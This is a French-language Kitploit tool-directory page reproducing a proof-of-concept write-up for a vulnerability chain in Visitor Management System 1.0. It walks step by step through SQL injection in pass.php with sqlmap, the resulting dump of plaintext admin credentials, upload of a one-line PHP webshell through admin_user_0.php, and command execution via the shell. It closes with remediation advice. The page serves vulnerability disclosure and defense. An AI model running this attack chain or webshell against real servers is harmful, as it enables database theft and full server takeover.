Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-10170-RCE — Preuve de concept démontrant une injection SQL et un téléversement de fichier sans restriction enchaînés pour obtenir une exécution de code à distance dans Visitor Management System 1.0, incluant un guide d'exploitation étape par étape et des recommandations de remédiation. | Kitploit
Outils/GitHubGitHub/xmyronn/cve-2026-10170-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

Preuve de concept démontrant une injection SQL et un téléversement de fichier sans restriction enchaînés pour obtenir une exécution de code à distance dans Visitor Management System 1.0, incluant un guide d'exploitation étape par étape et des recommandations de remédiation.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Visitor Management System 1.0 - SQLi vers Exécution de Code à Distance (Chaîne d'Attaque)

Informations sur la Vulnérabilité

ChampDétails
ProduitVisitor Management System
Vendeurcode-projects.org
Version1.0
Classes de VulnérabilitéInjection SQL (CWE-89) + Téléversement de Fichier Sans Restriction (CWE-434)
ID CVEEn attente
Score CVSS9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Authentification RequisePrivilèges faibles (compte gardien) comme point d'entrée
Fichiers Affectés/vms/php/pass.php, /vms/php/admin_user_0.php
Paramètre Vulnérablephone (POST)

Description

Le Visitor Management System 1.0 de code-projects.org est vulnérable à une chaîne d'attaque critique combinant l'Injection SQL et le Téléversement de Fichier Sans Restriction, menant à l'Exécution de Code à Distance.

Un attaquant disposant d'un accès à privilèges faibles (compte gardien) peut exploiter une vulnérabilité d'injection SQL dans pass.php via le paramètre POST phone pour extraire l'intégralité de la base de données — y compris les identifiants administrateur en clair. En utilisant les identifiants extraits pour s'authentifier en tant qu'administrateur, l'attaquant peut ensuite téléverser un webshell PHP via le panneau de gestion des utilisateurs administrateurs (admin_user_0.php), qui n'effectue aucune validation du type de fichier ou de l'extension. Le webshell téléversé est stocké dans un répertoire accessible via le web et peut être exécuté directement via une URL, résultant en une Exécution de Code à Distance complète sur le serveur.

De plus, les mots de passe sont stockés en clair dans la base de données, ce qui signifie qu'aucune étape de craquage n'est nécessaire après l'extraction via SQLi.


Aperçu de la Chaîne d'Attaque

root@kitploit:~
Connexion gardien à privilèges faibles
        ↓
Injection SQL dans pass.php (paramètre phone)
        ↓
Extraction sqlmap → identifiants administrateur en clair récupérés
        ↓
Connexion en tant qu'administrateur (sanjay1:7861)
        ↓
Téléversement de fichier sans restriction dans admin_user_0.php
        ↓
Webshell PHP téléversé dans /vms/php/folder/
        ↓
RCE via ?cmd=whoami → compromission complète du serveur

Preuve de Concept Étape par Étape

Étape 1 — Connexion en tant qu'Utilisateur à Privilèges Faibles (Gardien)

Naviguez vers l'application VMS et connectez-vous avec les identifiants du gardien. Après la connexion, naviguez vers la page Numéro de Téléphone :

root@kitploit:~
http://<TARGET>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

Étape 2 — Confirmer l'Injection SQL dans pass.php

Soumettez un guillemet simple ' comme valeur du numéro de téléphone. L'application génère une erreur fatale MariaDB exposant la requête brute et le chemin du fichier :

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

Fichier affecté : pass.php ligne 9
Paramètre vulnérable : phone (POST)

Screenshot 2026-05-05 034215

erreur sql Screenshot 2026-05-05 034228


Étape 3 — Exploiter l'Injection SQL avec sqlmap

Enregistrez la requête capturée avec Burp Suite dans un fichier (sqli.txt) et exécutez sqlmap :

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

sqlmap extrait avec succès la table login_user de la base de données vms, révélant les identifiants en clair de tous les utilisateurs :

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

Remarque : Les mots de passe sont stockés en clair — aucun craquage de hachage n'est nécessaire.

Screenshot 2026-05-05 034316

Étape 4 — Connexion en tant qu'Administrateur

En utilisant les identifiants administrateur extraits, connectez-vous au panneau d'administration :

root@kitploit:~
Nom d'utilisateur : sanjay1
Mot de passe : 7861

Le tableau de bord administrateur complet est désormais accessible, y compris la gestion des Employés, des Départements, des Utilisateurs Administrateurs et des Rapports.

Screenshot 2026-05-05 034353

Étape 5 — Téléverser un Webshell PHP via le Panneau des Utilisateurs Administrateurs

Naviguez vers la page de gestion des Utilisateurs Administrateurs :

root@kitploit:~
http://<TARGET>/vms/php/admin_user_0.php

La page contient un champ de téléversement de fichier pour une image de profil. L'application n'effectue aucune validation du type de fichier, aucun filtrage des extensions et aucune vérification du type MIME.

Remplissez le formulaire avec des valeurs quelconques et téléversez le webshell PHP suivant comme fichier image (web2_command.php) :

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

Étape 6 — Confirmer le Téléversement du Webshell

Naviguez vers la page d'affichage des Utilisateurs Administrateurs :

root@kitploit:~
http://<TARGET>/vms/php/admin_display_0.php

Le compte administrateur nouvellement créé est visible dans le tableau. Le webshell téléversé est stocké à l'adresse :

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

Étape 7 — Exécution de Code à Distance

Exécutez des commandes système arbitraires via le webshell :

root@kitploit:~
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami

Résultat : Le serveur renvoie l'utilisateur système actuel, confirmant l'Exécution de Code à Distance complète :

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

Impact

  • Compromission complète de la base de données — toutes les tables extraites via SQLi, y compris les identifiants en clair
  • Prise de contrôle du compte administrateur — les mots de passe en clair ne nécessitent aucun craquage
  • Exécution de Code à Distance — commandes système arbitraires exécutées en tant qu'utilisateur du serveur web
  • Compromission complète du serveur — contrôle total de l'hôte sous-jacent
  • Stockage des mots de passe en clair — amplifie l'impact de la SQLi, les identifiants sont immédiatement utilisables

Résumé des Fichiers Affectés

FichierVulnérabilité
/vms/php/pass.phpInjection SQL via le paramètre POST phone
/vms/php/admin_user_0.phpTéléversement de Fichier Sans Restriction — aucune validation d'extension ou de MIME
/vms/php/folder/Répertoire de stockage du webshell — accessible via le web, sans restrictions

Remédiation

Pour l'Injection SQL :

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

Pour le Téléversement de Fichier :

  • Liste blanche des extensions autorisées (jpg, png, gif uniquement)
  • Valider le type MIME côté serveur
  • Stocker les téléversements en dehors de la racine web
  • Renommer les fichiers téléversés avec des chaînes aléatoires

Pour le Stockage des Mots de Passe :

  • Utiliser password_hash() et password_verify() — ne jamais stocker en clair

Références

  • Page d'accueil du Vendeur
  • CWE-89 : Injection SQL
  • CWE-434 : Téléversement Sans Restriction de Fichier avec Type Dangereux
  • Aide-mémoire OWASP sur le Téléversement de Fichiers

Découvreur

  • Chercheur : Imad Alvi
  • VulDB : imad alvi
Télécharger l’outil